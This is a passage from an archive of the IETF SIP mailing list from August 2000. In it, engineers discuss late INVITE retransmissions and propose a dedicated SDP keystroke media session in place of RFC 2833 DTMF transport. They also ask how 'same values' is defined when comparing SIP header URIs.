[204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA29878 for ; Thu, 10 Aug 2000 11:53:49 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 76DD944393; Thu, 10 Aug 2000 11:52:48 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from eyeforthefuture.com (eyeforthefuture.com [216.122.88.93]) by lists.bell-labs.com (Postfix) with ESMTP id 9978344338 for ; Thu, 10 Aug 2000 11:52:42 -0400 (EDT) Received: from [208.61.12.41] (adsl-61-12-41.mia.bellsouth.net [208.61.12.41]) by eyeforthefuture.com (8.9.3/8.9.3) with ESMTP id IAA27179 for ; Thu, 10 Aug 2000 08:49:55 -0700 (PDT) User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630) Date: Thu, 10 Aug 2000 11:43:32 -0400 Subject: Re: [SIP] processing late INVITEs From: David Shrader To: SIP List Message-ID: In-Reply-To: <3990B017.B66DE7AD@dynamicsoft.com> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan, Do you actually like the fact that your phone at home rings and no one is there? This is really annoying and will continue to grow with more telemarketers using predictive dialing. It is not really an acceptable side-effect of network conditions. ---------------------------- David Shrader Master Consultant, Inc. DShrader@EyeForTheFuture.com http://www.EyeForTheFuture.com > From: Jonathan Rosenberg > Organization: dynamicsoft > Date: Tue, 08 Aug 2000 21:12:55 -0400 > To: Garret Wilson > Cc: SIP List > Subject: Re: [SIP] processing late INVITEs > > > > Garret Wilson wrote: >> >> Everyone, >> >> What does a does a server do if an isomorphic SIP INVITE arrives after a >> call completes? > > For proxies - nothing. Once the state of the transaction is erased, this > will look like a brand new INVITE, and be proxied merrily on its way. > > As for user agent servers, the choice is yours. The INVITE state machine > itself will force you to keep state around for 32 seconds. That should > cover a pretty hefty fraction of very late packets. If you want to > extend this timer to get those 10 9's of reliability, your choice. I'm > not to worried about this problem. Worst case the phone rings again, its > picked up, 200 OK is sent, no ACK ever comes, no one talks on the other > side, and you hang up. My phone at home sometimes rings and no one is > there. > > -Jonathan R. > > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 14:49:14 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10151 for ; Thu, 10 Aug 2000 14:49:13 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 722DF4439B; Thu, 10 Aug 2000 14:47:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ivigate.intervoice.com (ivigate.intervoice.com [208.200.21.196]) by lists.bell-labs.com (Postfix) with ESMTP id 2935644338 for ; Thu, 10 Aug 2000 14:46:50 -0400 (EDT) Received: from intervoice-brite.com ([172.16.16.64]) by ivigate.intervoice.com (Build 98 8.9.3/NT-8.9.3) with SMTP id NAA00520 for ; Thu, 10 Aug 2000 13:48:01 -0500 Received: from INTERVOICE-Message_Server by intervoice-brite.com with Novell_GroupWise; Thu, 10 Aug 2000 13:45:45 -0500 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Thu, 10 Aug 2000 13:45:31 -0500 From: "Skip Cave" To: sip@lists.bell-labs.com Cc: skipcave@connect.net Subject: Re: [SIP] DTMF and Universal Key Input Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id OAA10151 Henning S. And Scott P. have made some interesting comments to my post. Before I go about addressing their issues directly, I would like to make a few comments. For user input: In the future, there will be SIP terminals that only have a microphone. In the future, there will be SIP terminals that only have a video camera. In the future, there will be SIP terminals that only have keys or buttons. In the future, there will be SIP terminals that only have a smell detector. In the future, there will be SIP terminals that only have some sort of weird detector (wink detector? emotion detector?) that we can't imagine. In the future, there will be SIP terminals that have all sorts of combibations of the above user input devices. And for user output: In the future, there will be SIP terminals that only have a speaker (or two). In the future, there will be SIP terminals that only have a display. In the future, there will be SIP terminals that only have a tactile transducer (vibrates, makes bumps, gets fatter or taller). In the future, there will be SIP terminals that only have a smell generator. In the future, there will be SIP terminals that only have some sort of weird output mechanism (telepathy? brain socket connection?) that we can't imagine. In the future, there will be SIP terminals that have all sorts of combibations of the above user output devices. For Control: In the future, there will be SIP UAs that reside in refrigerators and let you set the tempreature & find out if the door is open from anywhere. They will also let you know what the tempeature in your refrigierator is, and if the temperature drops below a limit you set, or if the supply voltage is low. In the future, there will be SIP UAs that reside in your home air conditioner that let you set the tempreature in your house, & find out if your door is open from anywhere. They will also let you know what the temperature in your house is, and if the temperature drops below a limit you set, or if the A/C supply voltage is low. In the future, there will be SIP UAs that reside in a baby monitor that let you hear, see, and smell your baby from anywhere. You will be able to talk to your baby and pehaps the baby will even be able to see (and smell?) you. keys on the remote monotor will help control the camera. There probably won't be any keys on the baby's terminal. Of course, someone will have to figure out what a SIP "Universal Remote Control" will look like, to control all of these various gizmos, but that is a topic for another discussion. The point is, that we cannot (and should not) know all of the kinds of media that SIP will be required to support today. We only need a mechanism to add new media types as necessary. Luckily, we already have that mechanism. It is called SDP. Now, we only need to define the media types we DO know today. Audio, Video, Keystrokes. These three media types are clearly widely used today, so a specific SDP session should be defined for each of these media. Luckily, two of the three have already been done. SDP already has definitions for video and audio sessions. An important point here. We shouldn't try and combine different media types in one session. A single SDP session is intended for a single type of media. To be specific, we should not combine Video & Audio in a single session. We shouldn't combine Video and Keystrokes in a single session. We should not combine Audio and Keystrokes in a single session. There is an important rationale behind this requirement. In an ideal world, there would be a method for determining the capabilities of a SIP terminal. A SIP UA could ask another UA just what capabilities it has. Some of the things you should be able to determine: Is the UA is a human-interface device or an automation device? If it is a human-interface device, then you should be able to determine what user input mechanisms it supports. Does it have Audio input (microphones)? If so, how many? What encoders are supported? Does it have Video input (video cameras)? If so, how many? What encoders are supported? Does it have Key input (keypad)? If so, how many keys? What labels are on the keys? If it is a human-interface device, then you should be able to determine what user output mechanisms it supports. Does it have Audio output capability (speakers)? If so, how many? What audio decoders are supported? Does it have Video output (screens)? If so, what resolution and how many? What video decoders are supported? Does it have tactile output (vibrator, who knows)? If so, what kind & how many? Unfortunately, SIP does not allow an explicit pre-determination of terminal capabilities today. However, it does have a try-and-see-if-it-works kind of determination, which is good enough for now. The reason that you only want one media type per session is because when you use SDP to explicitly set-up a media session with a UA, that act implicitly "turns on" that specific media device. Therefore, when you use SDP to set-up a transmit audio channel from the remote device, you are essentially telling the microphone in that device to start transmitting it's output on that session. When you use SDP to set-up a transmit video channel from the remote device, you are essentially telling the video camera in that device to start transmitting it's output on that session. When you use SDP to set-up a keystroke session on a remote device, you are telling the remote device to start transmitting keystrokes from the keyboard on that session. A terminal may have video, audio, and keys as potential user input mechanisms. For whatever reason, an application may only want to get audio from a terminal. The application may not care anything about the video or keystrokes. You don't want to force the application to receive video and audio when all it wanted was audio. You don't want to force the application to receive audio and keystrokes when all it wanted was keystrokes. If you turn off a session, you turn off the audio, video, or keystroke transmitter driving that session. If two or more media types are combined in a single session, you restrict the capabilities of the application. If both audio and video are in a single session, you won't be able to "turn on or off" only one media type . When you setup the combined channel, you essentially turn on both media transmitters. You can only turn on both the audio and video transmitters, not either individually. The same argument goes for keystrokes and audio. You should be able to set up a session that only carried keystrokes, or only audio. Otherwise, you prevent the application from efficiently dealing with it's requirements. This promotes bandwidth conservation. It also helps simplify applications. If you don't want the media, don't set up the session! Probably even more importantly, the application may require that audio, video and keystrokes to go to different places! This requirement will be key in implementing advanced applications, and if the media are all lumped together in one channel, you can't send them different places. There are lots of applications even today that need the keystrokes and the audio to go different places. Some applications just want the keystokes and nothing else. Some want video and nothing else. I have applications where I want a terminal's keystrokes to go one place, and the audio to go to three different places. I can conceive of applications where the audio goes one place, and the keystrokes go three different places. RFC 2833 specifies a method for combining DTMF tones (PSTN-specific keystrokes), an audio session, and other PSTN signaling events such as ringing and busy tones, in a single RTP session. While this architecture is good for the person that just wants to transport EVERYTHING that's in a PSTN session from one gateway to another, It may NOT be ok for those who want to implement general applications in the packet network. Of course, we all know the problem that RFC 2833 is trying to address. The current low-data-rate (LDR) audio codecs (G.732 &G.729 to be specific) were not designed to accurately encode tones. These codecs were designed with a perceptual model of the human voice in mind. If the listener can understand the un-encoded speech, the codec was judged a success. None of the current crop of codecs will convert DTMF or other PSTN tones with enough accuracy to allow automatic detectors to reliably extract the original tones from the encoded/decoded audio stream. These LDR codecs are being used to transport voice traffic over the packet network. However, with the LDR codecs, the end-to-end keystrokes were getting distorted to the point that they couldn't be detected! Many applications in the PSTN rely on the presence of DTMF in-band, end-to-end signaling, so the network engineers had to come up with a solution. To solve this problem, packet network engineers logically decided to take the tones "out-of-band", or at least out of the G.723/729 codec's "band". However, The out-of-band tones must have enough information to reconstruct a reasonably intact G.711 PCM waveform out of the LDR speech codec data, and the out-of-band tone data. The reconstructed G.711 data needed to be both legible to the human listener and with the correct tones for the automatic tone detectors in the PSTN. Transporting PSTN signaling over packet networks isn't a new problem. The H.323 protocol addressed this issue with the UserInputIntication messages in the H.245 session. The RFC 2833 designers have done even a better job of designing a solution to the PSTN transport problem, using RFC 2833. This DTMF transport problem sort of LOOKS like the keystroke-as-media problem that I have been describing. However there are significant differences in the requirements (and hence differences in the potential solutions) in the two problems. The key differences: Audio or not? RFC 2833 focuses on transporting DTMF signals over a packet network for re-construction of the tones in the PSTN. RFC 2833 assumes that the stuff it will be carying are still audio signals, but just special types. Also, it is assumed that the stuff will all eventually have to be re-combined, hopefully with nearly the same charateristics as the original waveform. As such, detailed information about the tone frequencies, levels, duration, cadence, and time reference to the concurrent audio stream, are all required to be in the transported data. For keystrokes-as-media, the assumption is that the keystrokes are just that - keystrokes. No tones, no freqencies, no levels, no requirements for resynchronization, just which key was pressed. At the most, you may need a duration indication (key-on, key-off), but this charateristic would depend on whether the terminal device supported key duration. I quote from section 3.1 of RFC 2833: "If an end system is directly connected to the Internet and does not need to generate tone signals again, time alignment and power levels are not relevant. These systems rely on PSTN gateways or Internet end systems to generate DTMF events and do not perform their own audio waveform analysis. An example of such a system is an Internet interactive voice-response (IVR) system. In circumstances where exact timing alignment between the audio stream and the DTMF digits or other events is not important and data is sent unicast, such as the IVR example mentioned earlier, IT MAY BE PREFERABLE TO USE A RELIABLE CONTROL PROTOCOL RATHER THAN RTP PACKETS (my caps). In those circumstances, this payload format would not be used." So according to the authors of RFC 2833, the DTMF in RTP scheme they define isn't necessarily the best protocol to carry events such as standard keystrokes that don't need to be time-aligned, or have specific power levels or have frequencies. Terminal Generalization: RFC 2833 assumes that the originating device is a PSTN phone (no self-respecting packet terminal would generate tones when it's keys were pressed). 2833 doesn't address the issue of what happens when someone presses the keys on a SIP terminal, or a PC running a SIP session. Well, it DOES say something on the subject: "(By using RFC 2833) an Internet end system such as an "Internet phone" can emulate DTMF functionality without concerning itself with generating precise tone pairs and without imposing the burden of tone recognition on the receiver." So RFC 2833 recognizes the fact that a SIP terminal could send RFC 2833-compliant RTP streams to a PSTN device (presumably through a gateway), if it needs to really tightly control the delivery of the tones. The device would then rely on the gateway to generate the actual tones in the PSTN. Of course, if the packet device DIDN'T need to tightly control the key input presented to a PSTN device, and it DIDN't need precice synchronization with an audio stream, it potentially could use a much simpler key input protocol to send keystrokes to the gateway. What should be done when a SIP terminal is connected to another SIP device, and all they want to do is send keystrokes back and forth? This will be a common requirement where the device is a SIP UA in a remote-controlled appliance that only needs keystrokes for control. Should we use RFC 2833 to send the keystrokes from the control device to the remote appliance? This means you need the RTP protocol. You need to calculate RTSP stats. You need sequence numbers and time stamp alignment with the RTP audio (remember, there isn't any audio in this application). You need to repeat the keystroke packet every 50ms until the key is released. What happens if the keystroke duration is unknown (or is a don't care)? How do you implement redundancy when the keystroke duration is less than the repeat rate? Do we need all this stuff just to get keystrokes? Probably the most common keystroke scenario today is a person interacting with a IVR (Interactive Voice Response) system. In the PSTN, you automatically get a two-way audio connection when you connect a call. However, in most of the today's IVR scenarios, the IVR only needs an audio path FROM the IVR TO the caller, to deliver prompts. The IVR doesn't care about audio coming from the caller. It can do without it. All it cares about is what keys the caller presses. In the PSTN, the audio is delivered to the IVR systems whether they wanted it or not, since that was the only way that keystrokes (DTMF) could get to the IVR. In a packet network, the application server should have the option to NOT have audio delivered to it - just keystrokes. This would save bandwidth in the network, and save protocol processing horsepower on the IVR/server. Now, just because the IVR system doesn't need to see the audio stream doesn't mean that the caller won't be transmitting audio streams. Many applications (calling card, conferences) will have the caller's terminal sending its audio to other places, just not to the IVR. Or, the caller may need to send his audio AND keystrokes to the IVR, but just audio (no keystrokes) to other places. Or the keystrokes need to go other places. Or, Or, Or. In the above example, the IVR/server in the network may handle thousands of SIP sessions, but all of them could be just keystroke input sessions. This occurs any time the application server is the control node for applications that involve large numbers of two or three-way calls (calling card, find-me, record/log, etc.). The application server doesn't actually need any of the audio or video streams, as the audio & video streams are going to the various participants as they communicate with each other. However the server needs to know about all of the keystrokes from any of the participants, as that is the method that this application uses to let the participants indicate what function is to be performed by the application. In this scenario, you don't want too heavyweight of a protocol for the keystrokes, as that will limit the number of keystroke sessions that a single server could handle. The simpler the keystroke protocol, the more sessions a single server could handle. If I DO need to receive audio for recording or speech recognition purposes, I will probably send that stream to some other device (media recording/storage server, speech regognition server) in the network, not the keystroke server. The important issue here is that applications residing in the packet network should be able to get simple keystroke media messages (no frequencies, no levels, no timestamps) from the devices on the other end of the SIP session whether the originator of the keystroke was a SIP terminal, A SIP phone, a SIP remote controller, a PC, or a PSTN phone. It should't be a requirement for the device to support audio or video streams just to send keystrokes. So, in summary: 1) RFC 2833 is intended for a very specific task - transporting audio signals that would normally be destroyed by speech codecs over a packet network. This task is complex and exacting - requiring a powerful protocol such as RTP with multiple transport components to implement effectively. RFC 2833 should be used only by gateways to transport PSTN signaling between gateways, so PSTN traffic can be routed over a packet network. RFC 2833 is not the appropriate protocol for SIP-terminal-to-PSTN or SIP-terminal-to-SIP-terminal keystroke transport. 2) When all you have is a simple remote-control device with a small screen and 15 buttons (no mike or speaker), RFC 2833 seems a fairly heavyweight protocol just to carry keystrokes over a SIP session to the controlled device. This is particularly true if the transmitting and receiving devices are both in the packet network. We would still like to use SIP as the session initiation, but we need s simple, reliable protocol for the keysroke transport. This is also suggested in section 3.1 of RFC2833. A similar requirement was discussed previously for application servers in a packet network that need just keystroke input. Perhaps SCTP? 3) If a SIP device in the packet network needs to recieve keystroke information from a device in the PSTN, the SIP device will use SDP to set up a keystroke session with the gateway that is a proxy for the PSTN device. The gateway will be responsible for converting DTMF signals into the simple keystroke protocol for the SIP device. 4) If a SIP device in the packet network needs to send keystroke information to a device in the PSTN, the gateway will use SDP to set up a keystroke session with the SIP device. The gateway will be responsible for converting the simple keysroke protocol from the SIP device into DTMF signals for the PSTN device. So what are the requirements for a keystroke media transport protocol? We need keystroke delivery reliability. You can imagine what would happen if, when the bank automation system asked you to type the amout of the bill payment, you typed $180, but it thought you said $980. Or, if the remote-controlled A/C heard 99 degrees instead of 79. We need sequencing reliability. You can imagine what would happen if, when the bank automation system asked you to type the amout of the bill payment, you typed $180, but it thought you said $810. Or, if the remote-controlled A/C heard 97 degrees instead of 79. We need simplicity. The simplicity of SIP will allow keystroke mechanisms to be placed on all kinds of ultra-simple wireless remote devices, as well as high-density keystroke-detection servers. These devices will not necessarily support any audio or video media. You need a simple, reliable protocol that doesn't take much processing power, yet meets all of the transport requirements. We need duration. If the protocol is reliable, all you need is a key-on and key-off messages as a standard mechanism for all key indications. We need standardization. Most devices with keys will probably have a numeric pad. When you press a 'one' key on the SIP phone, it should give the same key media message as when you press a 'one' key on a PC, or a Cell Phone, or a SIP-based remote control device. Now to the SIP List discussion: Scott Petrack said: >"the point is not which one (keys or speech input) will take >over the world. The point is that the applications are similar >in many many cases. Today the user experience is that s/he >can press '1' or say 'yes'. Post archived at: http://lists.bell-labs.com/pipermail/sip/2000q3/002002.html .......... Certainly, some applications (those that use a device that has both keys and a microphone) will want to give the user an option for speech or keys for user input. Other applications (that use a device with only keys, or only a mike, or that don't want to pay for speech recognition) will not want to give the user any options for input. The last part of Scott's statement is what I particularly disagree with. The information doesn't need to be encoded as "similarly as possible". How do you encode a single key event similarly to 5,000-10,000 bytes of audio? For that matter, why would you want to? Scott: >What is relevant is that the INFORMATION to be encoded and >transported is IDENTICAL, whether '1' is pressed or 'yes' is said. http://lists.bell-labs.com/pipermail/sip/2000q3/002002.html The application provider may elect to have the keystroke "1" mean "no" or "stop" or "begin launch sequence" or something else. How could you tell the device to make the keystroke "1" give a response that is "identical" to some spoken word or phrase? This model could only be implemented if speech recognition was implemented in the terminal device AND there was some protocol to explain to the terminal that the phrase "begin launch sequence" should send the same message as pressing the "one" key. I don't think that all of the terminal providers are planning to embed speech recognition in their terminals, and I haven't seen any proposals for a protocol to provide a "matching" mechanism like this supposes. Wouldn't it just be easier to have the "one" key ALWAYS sent a "one-key-pressed" message when it was pressed, and the "two" key ALWAYS send a "two-key-pressed" message, no matter what kind of device you have? When a word or phrase is spoken into the microphone, wouldn't it be easier to just send the few-thousand bytes of data representing the speech, rather than trying to convert the thousands of bytes into a single "he-said-stop" or a "he-said-begin-launch-sequence" message? The application should sort this kind of stuff out, not the terminal device. More from Scott's post........ >If you need the keypress to be transported along the signaling >path, then you also need the "yes" to be transported along the >signaling path. And the encoding should also be as similar as >possible, since the information to be encoded and transported is similar. This depends highly on the application. In applications where you want keystroke/speech duality (every keystroke has an equivalent spoken phrase) your statement that both media types be sent along the same path has some validity. However this will be the exception, not the rule in future aplications. Keypads are useful for pre-defined entry and menu selection that require high reliability. Speech is useful for making selections across more than a few possibilities (what city are you going to?) where the utility is worth the lower reliability (more re-prompting) and higher cost of speech recognition. Applications that my company is developing today, use keys for input in certain situations, speech input for other situations, and "press-or-say-one" dual-input for even other situations. We certainly don't want the keypad to put out the same thing that the microphone does. In many cases, the two media types (speech & keystrokes) go to entirely different devices in the network for handling. The key-input-handling server can handle tens-of-thousands of simultaneous keypress event sessions. The voice recognition device can handle a few tens of simultaneous recognition sessions. I will tell the device to send its keystrokes to my keystroke server. I will tell the device to send its audio to one (of many) of my speech recognition servers. NO WAY should those different media-type streams be "in the same path". Or look the same. More from Scott's post........ >After some DTMF, the session can be modified so that the call is >transferred to another host which can handle the proper audio codecs. No, I DON'T want to transfer the call to another host that can handle the proper codecs. I want to leave the key input session going to my key-input server, and I want to RE-INVITE just his AUDIO session to a speech recognition server, or to a different SIP endpoint to which I happen to have the port address. I will leave the key-input media session attached to the key-input server so the user can communicate via keystrokes to me, while I RE-INVITE his audio stream all over the place (multicast, multi-unicast, x-cast, you-name-it-cast) depending on the application. I don't wan't his keystrokes going all over the place, just like I don't want to see his audio coming to me. Occasionally, I may set up an audio (or video) session with the caller to apprise him of his choices he has with the key input. Or I may set up a second audio channel (first channel is going to some other participant) to my speech reco server so he can speak his choices rather than using key input. Whatever fits the application best. Henning Schulzrinne says: >It's not that I think that key(board) input will go away, just that it >won't be 12 buttons with numbers and */#. >Post archived at: http://lists.bell-labs.com/pipermail/sip/2000q3/001991.html You're right. Keyboards will come in all shapes an sizes. There will be 300-key Katakana keyboards. There will be Braille keyboards. There will be 101 key keyboards. there will be European keyboards. There will be 20 key- keyboards, there will be 12-key keboards. There will be keyboards with only one BIG key smack in the middle. There will be soft keyboards that will allow you to specify the number of keys and the labels for each one (using SIP perhaps?). Not all of these devices will want or need speech recogniton. However, unless the device is single-functioned, ALL of these devices must have SOME way for a user to indicate a 10-digit phone number or a URL for addressing purposes. Some devices will use speech recognition for addressing. Some will not. Those that can't or won't accept the costs of speech reco will still have to have some method of indicating an address at a minimum. I will be willing to bet that that method will include at a minimum, a set of 10 numeric keys and an ENTER and DELETE (or equivalent) button. The keyboard may have a thousand other keys, but it WILL have numerics. I expect that any device that can connect to the public data network will require a minimum 12-key numeric pad to indicate addresses, although alpha URLs would be a problem. I expect that popular websites will start adding 10-numeric-digit URLs to allow portable devices to enable access from simple wireless devices. Portable devices that don't want to use speech recognition, will invaribly have keys. The 12-digit keypad will be with us for a long time, I think. More Henning Schulzrinne: >Why tie remote key(board) input to SIP or VoIP? If telnet (and kin) or >web-based input modalities are not good enough, we need to discuss this, >but that has nothing whatsoever to do with VoIP. SIP may or may not be >the appropriate solution there. Why tie keys to SIP? Because keystrokes are a terminal media element just like video or audio. Video & Audio are in SIP. Perhaps we should ask, why were keystrokes left out of SIP? Or a better question, why is there not a keystroke media session defined in SDP like there is for audio & video? RFC 2833 could be considered a first pass at the definition of a keystroke transport mechanism. Perhaps this discussion should be taking place in the SDP working group. Henning: >I don't want to SUBSCRIBE to the keyboard Neither do I. I want a SDP SESSION for that keyboard, just like I have a SDP session to a microphone and an SDP session to a video camera. I don't want a SUBCRIBE or NOTIFY mechanism for keystokes. Nor do I want to send keystrokes in the InfoMethod message. I want to be able to multicast, unicast, re-invite keystroke sessions just like you do audio and video. SUBSCRIBE & InfoMethod can't multi-unicast my keystrokes. Henning: >I want to have an appropriate interaction with >an abstract user interface that is far richer. >For simple ASCII, telnet will probably do the >trick (or the WAP "card" mode, if you like that model). I don't know how you would re-invite a telnet session, or request a multi-unicast of the telnet session. In any case, my simple wireless remote control already has SIP on it to locate the refrigerator in my house over the public data network. No reason to put the Telnet protocol on that little thing if all I need is a simple keystroke to be sent to the refrigerator. Just SDP-up a keystroke session with the refrigerator, and set the temp to 38 degrees. Henning: >Also, RFC 2833 (first part) has nothing to do >with tones. It transports signals which may, >in the current analog phone system, have a tone >representation. Analogy is the relationship of >telnet and pixel rendition. Agreed. There is no doubt that RFC 2833 has the capability to be a keystroke transport protocol. It has some of the appropriate charateristics. The main plus for RFC 2833 is that it is an SDP session! This means that it can be stopped, re-directed, multi-unicasted, and all of the useful things that we want to do with keystrokes. It also, with the addition of a reliability mechanism, could become a reliable transport. The real questions are: Is RFC 2833 the appropriate protocol to send keystrokes in a packet network? Is RFC 2198, which is proposed as a potential mechanism for reliable delivery of keystrokes in RFC 2833, REALLY reliable enough? Is the processing overhead required for implementing RFC 2833 and RFC 2198 appropriate for a simple remote key entry device that just needs a simple, reliable keystroke delivery mecahnism? That device doesn't have audio, no synchronization requirements, no RTCP, just reliable keys. Is RFC 2833 appropriate for a high density keystroke server (see above)? Will RFC 2833 let me tell a device that is sending me audio and keystrokes, to stop sending me audio but keep sending keystrokes (or vice-versa)? I can certainly tell a device that is sending me audio and video to stop sending me one, but keep sending me the other, using re-invite. Shouldn't the mechanism for both of these start-stop procedures be the same (re-invite a media session)? Can you use RFC 2833 to send keystrokes to one place, and audio three (different) place? Can you use RFC 2833 be used to send audio one place, and keystrokes three (different) places? So, these are the issues. Stay Tuned. Skip Cave Sr. Principal Engineer InterVoice-Brite Inc. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 15:24:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11606 for ; Thu, 10 Aug 2000 15:24:28 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 587A94439F; Thu, 10 Aug 2000 15:24:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from shire.formysite.com (mail.formysite.com [216.226.19.3]) by lists.bell-labs.com (Postfix) with ESMTP id 7CBDD44338 for ; Thu, 10 Aug 2000 15:23:58 -0400 (EDT) Received: from Odysseus2000 (64-66-221-27.webtelecom.com [64.66.221.27] (may be forged)) by shire.formysite.com (8.9.1a/8.9.1) with SMTP id OAA27814 for ; Thu, 10 Aug 2000 14:23:37 -0500 (CDT) Message-ID: <00ff01c00300$71da7740$1bdd4240@sfmissn1.sfba.home.com> Reply-To: "Garret Wilson" From: "Garret Wilson" To: "SIP List" Date: Thu, 10 Aug 2000 12:23:15 -0700 Organization: GlobalMentor, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [SIP] isomorphic clarification Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit The SIP specification states that, "Two requests or responses are defined to be isomorphic for the purposes of this document if they have the same values for the Call-ID, To, From and CSeq header fields." The phrase, "same values" seems to be undefined, which means that what it means for two header fields to be equal is unspecified. For example, if two "From" strings are identical except that the second one specifies a port of ":5060", do these two value have the "same value?" sip:jane@doe.com sip:jane@doe.com:5060 (After all, since 5060 is the default SIP port, the first SIP-URI really has the same port as the second.) Cheers, Garret _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 15:35:23 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11900 for ; Thu, 10 Aug 2000 15:35:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2806C443A2; Thu, 10 Aug 2000 15:30:43 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from shire.formysite.com (mail.formysite.com [216.226.19.3]) by lists.bell-labs.com (Postfix) with ESMTP id 2D15C44338 for ; Thu, 10 Aug 2000 15:30:40 -0400 (EDT) Received: from Odysseus2000 (64-66-221-27.webtelecom.com [64.66.221.27] (may be forged)) by shire.formysite.com (8.9.1a/8.9.1) with SMTP id OAA29004 for ; Thu, 10 Aug 2000 14:30:59 -0500 (CDT) Message-ID: <010b01c00301$760eb5a0$1bdd4240@sfmissn1.sfba.home.com> Reply-To: "Garret Wilson" From: "Garret Wilson" To: "SIP List" Date: Thu, 10 Aug 2000 12:30:36 -0700 Organization: GlobalMentor, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [SIP] Re: isomorphic clarification Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I just realized that the latest spec explains how to compare URIs. The question remains that, if two URI's are equal yet not identical in string format, are two From headers (for example) which contain these two URIs considered to have the "same value" as per the definition of isomorphic? Garret ----- Original Message ----- From: "Garret Wilson" To: "SIP List" Sent: Thursday, August 10, 2000 12:23 PM Subject: isomorphic clarification > The SIP specification states that, "Two requests or responses are defined to > be isomorphic for the purposes > of this document if they have the same values for the Call-ID, To, From and > CSeq header fields." > > The phrase, "same values" seems to be undefined, which means that what it > means for two header fields to be equal is unspecified. For example, if two > "From" strings are identical except that the second one specifies a port of > ":5060", do these two value have the "same value?" > > sip:jane@doe.com > sip:jane@doe.com:5060 > > (After all, since 5060 is the default SIP port, the first SIP-URI really has > the same port as the second.) > > Cheers, > > Garret > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 15:38:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11978 for ; Thu, 10 Aug 2000 15:38:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DAF6A443A7; Thu, 10 Aug 2000 15:31:10 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from east.isi.edu (east.isi.edu [38.245.76.2]) by lists.bell-labs.com (Postfix) with ESMTP id 0494344338 for ; Thu, 10 Aug 2000 15:31:07 -0400 (EDT) Received: from hafez.east.isi.edu (hafez.east.isi.edu [38.245.76.121]) by east.isi.edu (8.9.2/8.9.2) with ESMTP id PAA10803; Thu, 10 Aug 2000 15:31:25 -0400 (EDT) Received: from hafez.east.isi.edu (localhost [127.0.0.1]) by hafez.east.isi.edu (8.9.3/8.8.7) with ESMTP id AAA24718; Fri, 11 Aug 2000 00:31:00 +0500 